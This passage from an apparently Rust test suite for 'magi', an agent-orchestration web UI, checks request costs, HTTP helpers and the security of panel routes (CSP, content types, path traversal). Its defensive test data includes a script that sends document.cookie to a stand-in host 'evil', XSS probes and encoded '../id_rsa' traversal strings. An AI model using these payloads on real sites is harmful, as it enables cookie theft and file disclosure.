9777                        std::fs::remove_dir_all(cache).unwrap();
9778                    }
9779                }
9780                let (_, cost) = request_cost::measure(async {
9781                    match endpoint {
9782                        "questions" => {
9783                            let _ = questions_list(State(ui.clone())).await.unwrap();
9784                        }
9785                        "talks" => {
9786                            let _ = talks_list(
9787                                State(ui.clone()),
9788                                Query(ListQuery {
9789                                    limit: None,
9790                                    ids: None,
9791                                }),
9792                            )
9793                            .await
9794                            .unwrap();
9795                        }
9796                        "health" => {
9797                            let _ = health(State(ui.clone())).await.unwrap();
9798                        }
9799                        _ => {
9800                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9801                                .await
9802                                .unwrap();
9803                        }
9804                    }
9805                })
9806                .await;
9807                eprintln!("{endpoint} handler N={n}: {cost:?}");
9808                assert_eq!(
9809                    cost.0,
9810                    if endpoint == "talks" { 2 } else { 1 },
9811                    "{endpoint}"
9812                );
9813                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9814                costs.push(cost);
9815            }
9816            if let Some(previous) = previous {
9817                assert_eq!(costs, previous);
9818            }
9819            previous = Some(costs);
9820        }
9821    }
9822
9823    #[tokio::test]
9824    async fn list_request_cost_scopes_do_not_mix() {
9825        let (_tmp, repos, fx) = performance_fixture().await;
9826        seed_performance(&fx, &repos, 10, 0, 10);
9827        let (questions, talks, notices) = tokio::join!(
9828            fx.get("/api/questions"),
9829            fx.get("/api/talks"),
9830            fx.get("/api/notifications")
9831        );
9832        assert_eq!(request_counts(&questions).0, 1);
9833        assert_eq!(request_counts(&talks).0, 2);
9834        assert_eq!(request_counts(&notices), (0, 0));
9835    }
9836
9837    #[tokio::test]
9838    async fn list_endpoints_large_home_ceiling() {
9839        let (_tmp, repos, fx) = performance_fixture().await;
9840        seed_performance(&fx, &repos, 200, 300, 400);
9841        let mut failures = Vec::new();
9842        // app.js boot/change loads plus the initial dashboard, settings and
9843        // repo picker. SSE is a persistent stream, not a bounded GET.
9844        for path in [
9845            "/",
9846            "/app.js",
9847            "/app.css",
9848            "/api/questions",
9849            "/api/runs?limit=300",
9850            "/api/queue",
9851            "/api/talks",
9852            "/api/notifications",
9853            "/api/health",
9854            "/api/stats",
9855            "/api/loop",
9856            "/api/settings",
9857            "/api/repos",
9858        ] {
9859            let start = std::time::Instant::now();
9860            let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9861            let elapsed = start.elapsed();
9862            eprintln!("{path}: {elapsed:?}");
9863            match result {
9864                Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9865                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9866                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9867            }
9868        }
9869        assert!(failures.is_empty(), "{}", failures.join("\n"));
9870    }
9871
9872    struct Res {
9873        status: u16,
9874        headers: String,
9875        /// The header block with its original casing, for the assertions that
9876        /// compare a header *value* rather than looking for a name. Lowercasing
9877        /// a CSP would hide a directive spelled with a capital letter, and the
9878        /// whole point of that test is that the string is exactly right.
9879        head: String,
9880        body: String,
9881        /// The body before any UTF-8 handling, for the routes that serve
9882        /// something other than text. A panel asset is a PNG as often as not,
9883        /// and `from_utf8_lossy` would silently replace half of it.
9884        bytes: Vec<u8>,
9885    }
9886
9887    impl Res {
9888        fn json(&self) -> Value {
9889            serde_json::from_str(&self.body)
9890                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9891        }
9892
9893        /// One header's value verbatim, or `None` when it was not sent.
9894        fn header(&self, name: &str) -> Option<&str> {
9895            self.head.lines().find_map(|line| {
9896                let (key, value) = line.split_once(':')?;
9897                key.trim()
9898                    .eq_ignore_ascii_case(name)
9899                    .then(|| value.trim_start().trim_end_matches('\r'))
9900            })
9901        }
9902    }
9903
9904    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
9905    /// be read to end-of-stream without parsing framing.
9906    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9907        request_with(addr, method, path, body, &[]).await
9908    }
9909
9910    /// As [`request`], with extra request headers - conditional GETs need
9911    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
9912    /// worse than one that sets none.
9913    async fn request_with(
9914        addr: SocketAddr,
9915        method: &str,
9916        path: &str,
9917        body: Option<&str>,
9918        extra: &[(&str, &str)],
9919    ) -> Res {
9920        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9921        for (name, value) in extra {
9922            head.push_str(&format!("{name}: {value}\r\n"));
9923        }
9924        if let Some(body) = body {
9925            head.push_str("Content-Type: application/json\r\n");
9926            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9927        }
9928        head.push_str("\r\n");
9929        if let Some(body) = body {
9930            head.push_str(body);
9931        }
9932        let mut socket = tokio::net::TcpStream::connect(addr)
9933            .await
9934            .expect("connect to the test server");
9935        socket
9936            .write_all(head.as_bytes())
9937            .await
9938            .expect("write request");
9939        let mut raw = Vec::new();
9940        socket.read_to_end(&mut raw).await.expect("read response");
9941        // Split on the raw bytes rather than on a lossy string, so a binary
9942        // body survives to be compared byte for byte.
9943        let split = raw
9944            .windows(4)
9945            .position(|w| w == b"\r\n\r\n")
9946            .expect("a header block");
9947        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9948        let bytes = raw[split + 4..].to_vec();
9949        let status = head
9950            .lines()
9951            .next()
9952            .and_then(|line| line.split_whitespace().nth(1))
9953            .and_then(|code| code.parse().ok())
9954            .expect("a status line");
9955        Res {
9956            status,
9957            headers: head.to_lowercase(),
9958            head,
9959            body: String::from_utf8_lossy(&bytes).into_owned(),
9960            bytes,
9961        }
9962    }
9963
9964    /// A `POST` carrying a raw binary body and its own headers, for the
9965    /// attachment upload route - `request_with` only ever sends
9966    /// `Content-Type: application/json`, which is wrong for an image and
9967    /// would corrupt anything not valid UTF-8 by round-tripping it through
9968    /// `&str` first.
9969    async fn request_bytes(
9970        addr: SocketAddr,
9971        path: &str,
9972        headers: &[(&str, &str)],
9973        body: &[u8],
9974    ) -> Res {
9975        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9976        for (name, value) in headers {
9977            head.push_str(&format!("{name}: {value}\r\n"));
9978        }
9979        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9980        let mut socket = tokio::net::TcpStream::connect(addr)
9981            .await
9982            .expect("connect to the test server");
9983        socket
9984            .write_all(head.as_bytes())
9985            .await
9986            .expect("write request head");
9987        socket.write_all(body).await.expect("write request body");
9988        let mut raw = Vec::new();
9989        socket.read_to_end(&mut raw).await.expect("read response");
9990        let split = raw
9991            .windows(4)
9992            .position(|w| w == b"\r\n\r\n")
9993            .expect("a header block");
9994        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9995        let bytes = raw[split + 4..].to_vec();
9996        let status = head
9997            .lines()
9998            .next()
9999            .and_then(|line| line.split_whitespace().nth(1))
10000            .and_then(|code| code.parse().ok())
10001            .expect("a status line");
10002        Res {
10003            status,
10004            headers: head.to_lowercase(),
10005            head,
10006            body: String::from_utf8_lossy(&bytes).into_owned(),
10007            bytes,
10008        }
10009    }
10010
10011    /// A run on disk, without touching the process-global magi home.
10012    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10013        let mut state = RunState::new(
10014            PathBuf::from("/repo/magi"),
10015            "main".to_owned(),
10016            "0123456789abcdef".to_owned(),
10017            "Add a web UI\n\nMobile first.".to_owned(),
10018            Config::default(),
10019        );
10020        state.id = id.to_owned();
10021        state.status = status;
10022        let dir = runs.join(id);
10023        std::fs::create_dir_all(&dir).expect("run dir");
10024        std::fs::write(
10025            dir.join("run.json"),
10026            serde_json::to_string_pretty(&state).expect("serialize run"),
10027        )
10028        .expect("write run.json");
10029    }
10030
10031    /// Same as [`write_run`], but against a named repository rather than the
10032    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
10033    /// spread across more than one.
10034    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10035        let mut state = RunState::new(
10036            PathBuf::from(repo),
10037            "main".to_owned(),
10038            "0123456789abcdef".to_owned(),
10039            "task".to_owned(),
10040            Config::default(),
10041        );
10042        state.id = id.to_owned();
10043        state.status = status;
10044        let dir = runs.join(id);
10045        std::fs::create_dir_all(&dir).expect("run dir");
10046        std::fs::write(
10047            dir.join("run.json"),
10048            serde_json::to_string_pretty(&state).expect("serialize run"),
10049        )
10050        .expect("write run.json");
10051    }
10052
10053    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10054        let body = serde_json::json!({
10055            "schema": 1,
10056            "pid": 4242,
10057            "started_at": Timestamp::now().to_string(),
10058            "updated_at": updated_at.to_string(),
10059            "idle": false,
10060            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10061            "completed": 7,
10062            "polls": 143,
10063        });
10064        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10065    }
10066
10067    /// A loop that starts, finds nothing to do, and waits to be told to stop.
10068    ///
10069    /// No test in this file may start the real loop - see [`Ui::launch`] for
10070    /// why - so this stands in for the only thing the routes need a loop to
10071    /// do: keep running until `Stop` is set, then return. A real
10072    /// `serve_until` here would resolve its queue and its status file through
10073    /// the process-global magi home, claim whatever it found in the
10074    /// operator's live backlog, overwrite the status file of the `magi serve`
10075    /// that owns it, and spend real agent quota on a real competition.
10076    fn launch_idle(
10077        _opts: daemon::Opts,
10078        stop: daemon::Stop,
10079    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10080        Box::pin(async move {
10081            while !stop.stopped() {
10082                tokio::time::sleep(Duration::from_millis(2)).await;
10083            }
10084            Ok(())
10085        })
10086    }
10087
10088    /// A loop that fails on the way up, the way one whose home has gone
10089    /// read-only does.
10090    fn launch_broken(
10091        _opts: daemon::Opts,
10092        _stop: daemon::Stop,
10093    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10094        // The stand-in dies instantly, so a restarted one can record its own
10095        // failure before the start's response is read. The second attempt
10096        // therefore fails with a different message, to tell a stale error
10097        // from a fresh one.
10098        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10099        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10100        Box::pin(async move {
10101            Err(anyhow::anyhow!(if first {
10102                "publish the daemon status file: read-only file system"
10103            } else {
10104                "the restarted stand-in failed as well"
10105            }))
10106        })
10107    }
10108
10109    /// The address the parking loop knocks on, and what it heard there.
10110    ///
10111    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
10112    /// capture a fixture's address; this is how it is handed one. Only
10113    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
10114    /// these, so nothing else in this binary can race them.
10115    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
10116    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
10117
10118    /// A loop that, once it is asked to stop, checks the deck still answers
10119    /// before it goes.
10120    ///
10121    /// It stands in for a run mid-node: `finish_loop` waits for this future,
10122    /// so the request it makes is strictly inside the park window - no sleep
10123    /// and no polling needed to be sure of that.
10124    fn launch_knocking_on_the_way_out(
10125        _opts: daemon::Opts,
10126        stop: daemon::Stop,
10127    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10128        Box::pin(async move {
10129            while !stop.stopped() {
10130                tokio::time::sleep(Duration::from_millis(2)).await;
10131            }
10132            let addr = PARK_KNOCK
10133                .lock()
10134                .expect("park knock")
10135                .expect("the test set an address");
10136            let heard = request(addr, "GET", "/api/health", None).await.status;
10137            *PARK_HEARD.lock().expect("park heard") = Some(heard);
10138            Ok(())
10139        })
10140    }
10141
10142    /// The loop view once `want` accepts it.
10143    ///
10144    /// Polled rather than asserted straight after the POST because stopping
10145    /// is deliberately not instant - that is the contract - and rather than
10146    /// slept through because a fixed wait is either flaky or slow.
10147    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
10148    /// finite, so a genuine hang fails the test instead of hanging the
10149    /// suite.
10150    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
10151        for _ in 0..SETTLE_STEPS {
10152            let view = fx.get("/api/loop").await.json();
10153            if want(&view) {
10154                return view;
10155            }
10156            tokio::time::sleep(Duration::from_millis(10)).await;
10157        }
10158        panic!(
10159            "the loop never settled: {}",
10160            fx.get("/api/loop").await.json()
10161        );
10162    }
10163
10164    /// File an open question directly in the store the server reads.
10165    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
10166        let store = fx.questions();
10167        let mut q = Question::new(
10168            "20260902-000000-beef".to_owned(),
10169            "implement".to_owned(),
10170            "impl-A".to_owned(),
10171            summary.to_owned(),
10172            "because it matters".to_owned(),
10173            choices.iter().map(|c| (*c).to_owned()).collect(),
10174        );
10175        store.put(&mut q).expect("put question");
10176        q.id
10177    }
10178
10179    /// A question with a panel the server can serve, plus the named assets.
10180    ///
10181    /// Written through `Questions::put_panel` rather than by laying out the
10182    /// directory here, so these tests exercise the same on-disk shape the
10183    /// agents produce and cannot pass against a layout only the tests know.
10184    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
10185        let store = fx.questions();
10186        let mut q = Question::new(
10187            "20260902-000000-beef".to_owned(),
10188            "land".to_owned(),
10189            "fix".to_owned(),
10190            "Merge this?".to_owned(),
10191            "the diff is in the panel".to_owned(),
10192            vec!["merge".to_owned(), "hold".to_owned()],
10193        );
10194        // Staged outside the questions root, because `put_panel` copies from
10195        // wherever the agent left its files.
10196        let staging = fx.home.path().join("staging");
10197        std::fs::create_dir_all(&staging).expect("staging dir");
10198        let sources: Vec<PathBuf> = assets
10199            .iter()
10200            .map(|(name, bytes)| {
10201                let path = staging.join(name);
10202                std::fs::write(&path, bytes).expect("write staged asset");
10203                path
10204            })
10205            .collect();
10206        store
10207            .put_panel(&mut q, html, &sources)
10208            .expect("write the panel");
10209        store.put(&mut q).expect("put question");
10210        q.id
10211    }
10212
10213    /// A talk on disk, without talking to a model.
10214    ///
10215    /// Written as JSON straight into the store the server reads, because the
10216    /// only constructor `talk::begin` offers takes no turn but still requires
10217    /// a real caller-visible flow. The one thing this cannot make up is the
10218    /// seat, so it is built with the real `SeatState::new` and serialized -
10219    /// the alternative, hand-writing that object, would make these tests fail
10220    /// the day the seat gains a field.
10221    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
10222        seed_talk_at(&fx.talks(), id, status)
10223    }
10224
10225    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
10226        std::fs::create_dir_all(store.root()).expect("talks dir");
10227        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
10228            .expect("serialize a seat");
10229        let body = serde_json::json!({
10230            "schema": 1,
10231            "id": id,
10232            "repo": "/repo/magi",
10233            "agent": "mock",
10234            "status": status,
10235            "turns": [],
10236            "created_at": Timestamp::now().to_string(),
10237            "updated_at": Timestamp::now().to_string(),
10238            "seat": seat,
10239        });
10240        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
10241        store.get(id).expect("the seeded talk has to be readable");
10242        id.to_owned()
10243    }
10244
10245    #[tokio::test]
10246    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
10247        let fx = Fixture::start().await;
10248        let id = panel(
10249            &fx,
10250            "<h1>Merge?</h1><img src=\"diff.svg\">",
10251            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
10252        );
10253
10254        for path in [
10255            format!("/api/questions/{id}/panel"),
10256            format!("/api/questions/{id}/asset/diff.svg"),
10257        ] {
10258            let res = fx.get(&path).await;
10259            assert_eq!(res.status, 200, "{path}: {}", res.body);
10260            // The whole string, not a substring. A weakened directive - an
10261            // `img-src *` that lets a panel beacon out to a remote host, a
10262            // `script-src` anything, a missing `form-action` that lets it post
10263            // the owner's decision to a third party - has to fail here, and a
10264            // `contains` assertion would let every one of those through.
10265            assert_eq!(
10266                res.header("content-security-policy"),
10267                Some(
10268                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
10269                     font-src data:; base-uri 'none'; form-action 'none'; \
10270                     frame-ancestors 'self'"
10271                ),
10272                "{path} is the only thing between a hostile panel and the tailnet"
10273            );
10274            assert_eq!(
10275                res.header("x-content-type-options"),
10276                Some("nosniff"),
10277                "{path}: a browser must not re-decide the type we sent"
10278            );
10279            assert_eq!(
10280                res.header("referrer-policy"),
10281                Some("no-referrer"),
10282                "{path}: a panel must not leak the question id off the machine"
10283            );
10284
10285            // The front end mounts the frame only after a `HEAD` says the
10286            // panel is there, so `HEAD` has to answer with the same status and
10287            // the same policy as `GET` - a preflight that came back without
10288            // the CSP would mean a frame mounted on an unverified promise.
10289            let pre = fx.head(&path).await;
10290            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
10291            assert_eq!(
10292                pre.header("content-security-policy"),
10293                res.header("content-security-policy"),
10294                "{path}: the preflight carries the same policy"
10295            );
10296            assert_eq!(
10297                pre.header("content-type"),
10298                res.header("content-type"),
10299                "{path}: the preflight carries the same type"
10300            );
10301        }
10302    }
10303
10304    #[tokio::test]
10305    async fn a_panel_reaches_the_browser_byte_for_byte() {
10306        let fx = Fixture::start().await;
10307        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
10308        // tag, an entity, and a multi-byte character. The sandbox is what makes
10309        // this safe, so nothing here may be rewritten on the way out - a
10310        // rewritten diff is a diff the owner cannot trust.
10311        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
10312        let id = panel(&fx, html, &[]);
10313
10314        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
10315
10316        assert_eq!(res.status, 200);
10317        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
10318        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
10319        assert_eq!(
10320            res.header("content-disposition"),
10321            None,
10322            "the panel itself is rendered in the frame, not downloaded"
10323        );
10324    }
10325
10326    #[tokio::test]
10327    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
10328        let fx = Fixture::start().await;
10329        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
10330        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
10331        let id = panel(
10332            &fx,
10333            "<img src=\"diff.svg\"><img src=\"shot.png\">",
10334            &[("diff.svg", svg), ("shot.png", png)],
10335        );
10336
10337        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
10338        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
10339
10340        assert_eq!(as_svg.status, 200);
10341        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
10342        // An SVG is XML that may carry script. Inside the panel it is an
10343        // `<img src>` and the script cannot run; opened at the top level it
10344        // would be a document on magi's own origin, so the browser is told to
10345        // download it instead of rendering it.
10346        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
10347
10348        assert_eq!(as_png.status, 200);
10349        assert_eq!(as_png.header("content-type"), Some("image/png"));
10350        assert_eq!(
10351            as_png.header("content-disposition"),
10352            None,
10353            "a raster image has no execution surface, so tapping it still shows it"
10354        );
10355        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
10356    }
10357
10358    #[tokio::test]
10359    async fn an_html_asset_is_never_served_as_html() {
10360        let fx = Fixture::start().await;
10361        let id = panel(
10362            &fx,
10363            "<p>see the notes</p>",
10364            &[
10365                (
10366                    "notes.html",
10367                    b"<script>fetch('http://evil/'+document.cookie)</script>",
10368                ),
10369                ("hook.js", b"fetch('http://evil/')"),
10370                ("data.json", b"{}"),
10371                ("HEADLINE.TXT", b"plain"),
10372            ],
10373        );
10374
10375        for name in ["notes.html", "hook.js", "data.json"] {
10376            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
10377            assert_eq!(res.status, 200, "{name}: {}", res.body);
10378            // Serving this as text/html would be a way to reach agent markup
10379            // at the top level of the operator's browser, outside the frame's
10380            // sandbox and outside its CSP - which is the whole thing the panel
10381            // design exists to prevent. Unlisted types are downloads.
10382            assert_eq!(
10383                res.header("content-type"),
10384                Some("application/octet-stream"),
10385                "{name} must not be a type the browser will execute or render"
10386            );
10387        }
10388        // The whitelist is matched case-insensitively, so an agent shouting the
10389        // extension still gets a readable file rather than a download.
10390        let txt = fx
10391            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
10392            .await;
10393        assert_eq!(
10394            txt.header("content-type"),
10395            Some("text/plain; charset=utf-8")
10396        );
10397    }
10398
10399    #[tokio::test]
10400    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
10401        let fx = Fixture::start().await;
10402        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10403        // Something outside the panel directory that a traversal would reach if
10404        // one got through, so a passing test is not merely "the file was
10405        // missing anyway".
10406        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
10407
10408        // Decoded before this server's handler sees them: axum percent-decodes
10409        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
10410        // string with a NUL in it. All three look like ordinary single-segment
10411        // filenames to the router, so the router passes them through and
10412        // `valid_asset_name` is what refuses them - for the literal `..`, and
10413        // for `/`, `\` and NUL not being in the permitted character set.
10414        for encoded in [
10415            "%2e%2e%2fid_rsa",
10416            "..%2fid_rsa",
10417            "..%5cid_rsa",
10418            "%2e%2e%5cid_rsa",
10419            "diff%00.svg",
10420            "..",
10421            ".hidden",
10422            "%2e%2e%2f%2e%2e%2fid_rsa",
10423        ] {
10424            let res = fx
10425                .get(&format!("/api/questions/{id}/asset/{encoded}"))
10426                .await;
10427            assert_eq!(
10428                res.status, 400,
10429                "`{encoded}` has to be refused by name, not looked up: {}",
10430                res.body
10431            );
10432            assert!(res.json()["error"].is_string(), "{}", res.body);
10433        }
10434
10435        // Not decoded, and never this handler's problem: a real slash makes the
10436        // request one segment too long for `/api/questions/{id}/asset/{name}`,
10437        // so axum's router has no route to match and answers before any code
10438        // here runs. Asserted so that a future route with a wildcard segment
10439        // cannot quietly open this door.
10440        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
10441            let res = fx
10442                .get(&format!("/api/questions/{id}/asset/{literal}"))
10443                .await;
10444            assert_eq!(
10445                res.status, 404,
10446                "`{literal}` must not match the asset route at all: {}",
10447                res.body
10448            );
10449        }
10450    }
10451
10452    #[tokio::test]
10453    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
10454        let fx = Fixture::start().await;
10455        let plain = ask(&fx, "Which backend?", &["SQLite"]);
10456        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10457
10458        // A question nobody wrote a panel for. The client preflights with HEAD
10459        // and cannot see inside a sandboxed frame, so this must be a status and
10460        // not an empty page.
10461        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
10462        assert_eq!(none.status, 404, "{}", none.body);
10463        assert!(none.json()["error"].is_string(), "{}", none.body);
10464        assert_eq!(
10465            fx.head(&format!("/api/questions/{plain}/panel"))
10466                .await
10467                .status,
10468            404,
10469            "the preflight is the only way the client can learn this"
10470        );
10471
10472        // A name that is perfectly legal and simply is not there.
10473        let missing = fx
10474            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10475            .await;
10476        assert_eq!(missing.status, 404, "{}", missing.body);
10477        assert!(missing.json()["error"].is_string(), "{}", missing.body);
10478
10479        // A question that does not exist at all, on both routes.
10480        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10481        assert_eq!(
10482            fx.get("/api/questions/nope/asset/diff.svg").await.status,
10483            404
10484        );
10485    }
10486
10487    #[tokio::test]
10488    async fn a_run_with_an_open_question_reads_as_waiting() {
10489        let fx = Fixture::start().await;
10490        let run = "20260902-000000-beef".to_owned();
10491        write_run(&fx.runs(), &run, RunStatus::Implementing);
10492
10493        let before = fx.get("/api/runs").await.json();
10494        assert_eq!(before[0]["waiting"], false, "{before}");
10495
10496        let store = fx.questions();
10497        let mut q = Question::new(
10498            run.clone(),
10499            "implement".to_owned(),
10500            "impl-A".to_owned(),
10501            "Which backend?".to_owned(),
10502            String::new(),
10503            vec!["SQLite".to_owned()],
10504        );
10505        store.put(&mut q).expect("put");
10506
10507        let during = fx.get("/api/runs").await.json();
10508        assert_eq!(during[0]["waiting"], true, "{during}");
10509
10510        // Answered: the run is moving again, and the flag has to follow without
10511        // anything having rewritten run.json.
10512        q.answer(Answer::Choice("SQLite".to_owned()))
10513            .expect("answer");
10514        store.put(&mut q).expect("put");
10515        let after = fx.get("/api/runs").await.json();
10516        assert_eq!(after[0]["waiting"], false, "{after}");
10517    }
10518
10519    #[tokio::test]
10520    async fn an_open_question_is_listed_and_counted_by_health() {
10521        let fx = Fixture::start().await;
10522        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10523
10524        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10525        let listed = fx.get("/api/questions").await.json();
10526        assert_eq!(listed.as_array().expect("array").len(), 1);
10527        assert_eq!(listed[0]["id"], id);
10528        assert_eq!(listed[0]["status"], "open");
10529        assert_eq!(listed[0]["choices"][1], "Redis");
10530        // The count is what makes the phone's indicator honest: it is the one
10531        // number meaning nothing will move until a human acts.
10532        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10533    }
10534
10535    fn obsolete_approval_state() -> RunState {
10536        let mut state = crate::land::tests::repair_state(true, true);
10537        state.pr = Some(crate::run::PrRecord {
10538            url: "https://github.com/example/repo/pull/42".into(),
10539            number: 42,
10540            state: "open".into(),
10541            checks: "green".into(),
10542            round: 1,
10543            rounds: 4,
10544            red_at_merge: Vec::new(),
10545        });
10546        state
10547    }
10548
10549    #[tokio::test]
10550    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
10551        for owner in ["missing", "current", "completed", "later"] {
10552            let fx = Fixture {
10553                home: TempDir::new().unwrap(),
10554                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10555            };
10556            let mut state = obsolete_approval_state();
10557            state.status = RunStatus::Landing;
10558            state.parked = true;
10559            state.driver_exited = true;
10560            let mut q = Question::new(
10561                state.id.clone(),
10562                crate::land::APPROVAL_NODE.into(),
10563                "land".into(),
10564                "Old approval".into(),
10565                "Original evidence".into(),
10566                vec!["merge".into(), "hold".into()],
10567            );
10568            state.land_approval = Some(crate::run::LandApproval {
10569                question: q.id.clone(),
10570                head: "head".into(),
10571            });
10572            state.save_under(fx.home.path()).unwrap();
10573            let stale = state.clone();
10574            fx.questions().put(&mut q).unwrap();
10575            let mut task = Task::new(
10576                "Owner".into(),
10577                "Original instruction".into(),
10578                state.repo.clone(),
10579                Source::Human,
10580            );
10581            task.runs.push(state.id.clone());
10582            task.status = if owner == "completed" {
10583                TaskStatus::Done
10584            } else {
10585                TaskStatus::Parked
10586            };
10587            if owner == "later" {
10588                task.runs.push("later-run".into());
10589            }
10590            if owner != "missing" {
10591                fx.queue().put(&mut task).unwrap();
10592            }
10593            let ui = Arc::new(Ui::new(
10594                fx.queue(),
10595                fx.questions(),
10596                fx.talks(),
10597                fx.runs(),
10598                fx.home.path().into(),
10599                state.repo.clone(),
10600            ));
10601            let response = question_answer(
10602                State(ui),
10603                Path(q.id.clone()),
10604                Ok(Json(NewAnswer {
10605                    choice: Some(crate::merge_decision::DISMISS.into()),
10606                    text: None,
10607                })),
10608            )
10609            .await
10610            .unwrap();
10611            assert_eq!(
10612                response.0.question.resolution().as_deref(),
10613                Some(crate::merge_decision::DISMISS)
10614            );
10615            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10616            assert_eq!(disk.status, RunStatus::Superseded);
10617            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
10618            assert!(!crate::merge_decision::resumable_hold(&disk));
10619            assert_eq!(
10620                serde_json::to_value(&disk.pr).unwrap(),
10621                serde_json::to_value(&stale.pr).unwrap()
10622            );
10623            assert_eq!(fx.questions().count_open(), 0);
10624            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
10625            crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10626            if owner == "missing" {
10627                assert!(fx.queue().list().is_empty());
10628            } else {
10629                let after = fx.queue().get(&task.id).unwrap();
10630                assert_eq!(
10631                    after.status,
10632                    if owner == "current" {
10633                        TaskStatus::Done
10634                    } else {
10635                        task.status
10636                    }
10637                );
10638                assert_eq!(after.runs, task.runs);
10639                assert_eq!(after.instruction, task.instruction);
10640                assert_eq!(after.action_applied(&q.id), owner == "current");
10641            }
10642        }
10643    }
10644
10645    #[tokio::test]
10646    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
10647        let fx = Fixture::start().await;
10648        let mut state = obsolete_approval_state();
10649        state.status = RunStatus::Landing;
10650        state.parked = true;
10651        state.driver_exited = true;
10652        let mut q = Question::new(
10653            state.id.clone(),
10654            crate::land::APPROVAL_NODE.into(),
10655            "land".into(),
10656            "Superseded PR approval".into(),
10657            "Original review evidence".into(),
10658            vec!["merge".into(), "hold".into()],
10659        );
10660        state.land_approval = Some(crate::run::LandApproval {
10661            question: q.id.clone(),
10662            head: "old-reviewed-head".into(),
10663        });
10664        // The old persisted PR may still say open even when a separate change
10665        // already landed. Dismissal must not use that snapshot to close it.
10666        state.save_under(fx.home.path()).unwrap();
10667        let stale_driver = state.clone();
10668        fx.questions().put(&mut q).unwrap();
10669        let path = fx
10670            .home
10671            .path()
10672            .join("questions")
